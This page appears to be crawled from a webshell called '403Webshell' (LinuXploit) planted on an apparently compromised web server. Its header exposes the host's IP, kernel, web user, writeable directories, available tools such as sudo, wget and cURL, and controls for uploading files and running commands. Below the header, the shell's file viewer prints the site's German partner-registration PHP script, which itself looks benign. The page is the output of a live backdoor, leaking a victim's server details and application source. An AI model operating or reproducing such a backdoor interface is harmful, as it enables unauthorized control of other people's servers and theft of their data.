403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/partner-register.php
<?php
/**
 * partner-register.php – ÖFFENTLICHE Selbstregistrierung für Reisebüros/Vermittler.
 * Kein Login nötig. Legt einen Vermittler-Account als ANGEFRAGT an (broker_pending=1,
 * broker_active=0). Erst nach Freischaltung durch den Betreiber (Partnerprogramm) ist
 * der Login möglich. Provision = NULL → es gilt der globale Standardsatz.
 *
 *  action=register  POST <Felder>  -> { ok } | { ok:false, error, field? }
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );
ob_start();

function pr_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); echo json_encode( $a ); exit(); }
function pr_fail( $msg, $field = '' ) { pr_json( array( 'ok' => false, 'error' => $msg, 'field' => $field ) ); }

if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) { http_response_code( 405 ); pr_fail( 'Methode nicht erlaubt.' ); }

// Spam-Schutz: verstecktes Honeypot-Feld muss leer sein
if ( trim( (string) ( $_POST['website'] ?? '' ) ) !== '' ) pr_json( array( 'ok' => true ) ); // still ablehnen (Bot)

$company   = trim( (string) ( $_POST['company']   ?? '' ) );
$firstname = trim( (string) ( $_POST['firstname'] ?? '' ) );
$lastname  = trim( (string) ( $_POST['lastname']  ?? '' ) );
$email     = trim( (string) ( $_POST['email']     ?? '' ) );
$phone     = trim( (string) ( $_POST['phone']     ?? '' ) );
$street    = trim( (string) ( $_POST['street']    ?? '' ) );
$zipcode   = trim( (string) ( $_POST['zipcode']   ?? '' ) );
$city      = trim( (string) ( $_POST['city']      ?? '' ) );
$country   = trim( (string) ( $_POST['country']   ?? 'Deutschland' ) );
$taxid     = trim( (string) ( $_POST['taxid']     ?? '' ) );
$password  = (string) ( $_POST['password'] ?? '' );
$password2 = (string) ( $_POST['password2'] ?? '' );
$accept    = ! empty( $_POST['accept'] );

// ---- Validierung ----
if ( $company === '' )                                   pr_fail( 'Bitte den Firmennamen Ihres Reisebüros angeben.', 'company' );
if ( $lastname === '' )                                  pr_fail( 'Bitte den Nachnamen des Ansprechpartners angeben.', 'lastname' );
if ( ! filter_var( $email, FILTER_VALIDATE_EMAIL ) )     pr_fail( 'Bitte eine gültige E-Mail-Adresse angeben.', 'email' );
if ( strlen( $password ) < 8 )                           pr_fail( 'Das Passwort muss mindestens 8 Zeichen lang sein.', 'password' );
if ( $password !== $password2 )                          pr_fail( 'Die beiden Passwörter stimmen nicht überein.', 'password2' );
if ( ! $accept )                                         pr_fail( 'Bitte stimmen Sie den Teilnahmebedingungen zu.', 'accept' );

$db  = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
$LVL = (int) BROKER_LEVEL;

// E-Mail-Eindeutigkeit
$ex = $db->rawQueryOne( 'SELECT user_id FROM pacim_users WHERE user_email = ? LIMIT 1', array( $email ) );
if ( $ex ) pr_fail( 'Diese E-Mail-Adresse ist bereits registriert. Bitte melden Sie sich an oder verwenden Sie eine andere Adresse.', 'email' );

$now = date( 'Y-m-d H:i:s' );
try {
    $db->startTransaction();

    $userId = $db->insert( 'pacim_users', array(
        'user_firstname' => $firstname,
        'user_lastname'  => $lastname,
        'user_email'     => $email,
        'user_password'  => password_hash( $password, PASSWORD_DEFAULT ),
        'user_level'     => $LVL,
        'user_created'   => $now,
        'user_updated'   => $now,
    ) );
    if ( ! $userId ) throw new Exception( 'Konto konnte nicht angelegt werden.' );

    $ok = $db->insert( 'pacim_broker', array(
        'broker_id'         => $userId,
        'broker_company'    => $company,
        'broker_street'     => $street,
        'broker_zipcode'    => $zipcode,
        'broker_city'       => $city,
        'broker_country'    => $country,
        'broker_phone'      => $phone,
        'broker_taxid'      => $taxid,
        'broker_commission' => null,   // => globaler Standardsatz
        'broker_commission_addon' => null,
        'broker_payment_mode' => 'payout',
        'broker_active'     => 0,       // noch nicht freigeschaltet
        'broker_pending'    => 1,       // Anfrage offen
        'broker_created'    => $now,
        'broker_updated'    => $now,
    ) );
    if ( ! $ok ) throw new Exception( 'Anfrage konnte nicht gespeichert werden.' );

    $db->commit();
} catch ( Exception $e ) {
    $db->rollback();
    pr_fail( 'Es ist ein Fehler aufgetreten. Bitte versuchen Sie es später erneut.' );
}

// Regel-Engine: Ereignis „Partner-Anmeldung" (Fallback: partner_signup). No-Op solange SMTP nicht aktiv.
// Echte Partner-Platzhalter (partner_*) mergen, sonst blieben die Beispielwerte aus context(0) stehen.
if ( class_exists( 'mailrules' ) ) {
    $pctx = class_exists( 'mailrenderer' ) ? mailrenderer::partnerPlaceholders( (int) $userId ) : array();
    $pctx = array_merge( $pctx, array(
        'customer_firstname' => $firstname, 'customer_lastname' => $lastname, 'salutation' => ( $firstname !== '' ? $firstname . ' ' . $lastname : $company ),
    ) );
    // broker_id → Dedupe „eine Anmeldemail je Partner" (message_broker, kollidiert nicht mit customer_id).
    mailrules::evaluateEvent( 'partner_signup', array( 'to' => $email, 'broker_id' => (int) $userId, 'ctx' => $pctx ), 'partner_signup' );
}

// Pushover-Benachrichtigung an interne Mitarbeiter.
if ( class_exists( 'pushnotify' ) ) pushnotify::partnerSignup( $db, (int) $userId );

pr_json( array( 'ok' => true ) );

Youez - 2016 - github.com/yon3zu
LinuXploit